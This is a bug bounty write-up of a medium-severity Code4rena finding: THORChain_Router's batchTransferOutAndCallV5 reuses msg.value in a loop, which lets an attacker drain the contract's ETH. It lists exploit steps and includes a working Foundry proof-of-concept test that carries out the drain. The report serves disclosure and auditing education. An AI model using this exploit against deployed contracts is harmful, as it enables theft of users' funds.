# Due to the use of msg.value in for loop, anyone can drain all the funds from the THORChain_Router contract

batchTransferOutAndCallV5 reuses msg.value each loop iteration, letting an attacker set target to their EOA and drain the Router's entire ETH balance.

- Payout: Audit contest
- Severity: medium
- Program: Thorchain
- Found by: PetarTolev
- Disclosed: 2024-08-05
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-06-thorchain-findings/issues/44
- Library page: https://bugbountylibrary.com/r/c4%3A2024-06-thorchain%3AM-02
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** THORChain_Router.sol batchTransferOutAndCallV5 / _transferOutAndCallV5
**Root cause:** _transferOutAndCallV5 forwards the full msg.value on every iteration of batchTransferOutAndCallV5's loop instead of a per-item amount, and the fallback send path pays aggregationPayload.target (attacker-controlled) when the swap call fails.
**Steps:**
1. Deploy/identify attacker EOA; Router holds 100e18 ETH.
2. Build TransferOutAndCallData[] of 11 entries: target=attacker EOA, fromAsset=address(0), fromAmount=10e18, recipient=attacker.
3. Call `router.batchTransferOutAndCallV5{value: 10e18}(cdArray)`.
4. Each iteration's `target.call{value: msg.value}(swapOutV5...)` fails on EOA, fallback `payable(target).send(msg.value)` pays attacker 10e18 per iteration.
5. Router drained to 0; attacker nets 100e18.
**How found:** Code review of _transferOutAndCallV5 noticing msg.value is used inside a loop in batchTransferOutAndCallV5, and that the fallback send path pays an unvalidated caller-supplied target.
**Exploitation:** Attacker supplies a calldata array of structs pointing target at their own EOA with fromAsset=address(0); the failed swapOutV5 call triggers the send fallback which transfers the full msg.value to the attacker on each of N iterations, extracting N×msg.value from the Router's pre-existing balance.
**Insight:** When a payable batch function loops over items, check whether msg.value is consumed per-iteration or re-spent each time; also check fallback/refund paths that pay a caller-controlled address rather than the original sender.

## Proof of concept (copied exactly from the original report)

**Foundry test draining Router via batchTransferOutAndCallV5**

```
contract RouterTest is Test {
    THORChain_Router public router;
    address alice = makeAddr("alice");

    function setUp() public {
        router = new THORChain_Router();
    }

    function testRouterDrain() public {
        deal(address(router), 100e18);
        deal(alice, 10e18);

        console.log("alice's balance before: ", alice.balance);
        console.log("router's balance before:", address(router).balance);

        THORChain_Router.TransferOutAndCallData[] memory cdArray = new THORChain_Router.TransferOutAndCallData[](11);

        for(uint i; i < 11; i++) {
            cdArray[i] = THORChain_Router.TransferOutAndCallData(
                payable(alice),
                address(0),
                10e18,
                address(0),
                alice,
                0,
                "",
                "",
                ""
            );
        }

        vm.prank(alice);
        router.batchTransferOutAndCallV5{value: 10e18}(cdArray);

        console.log("alice's balance after:  ", alice.balance);
        console.log("router's balance after: ", address(router).balance);
    }
}
```

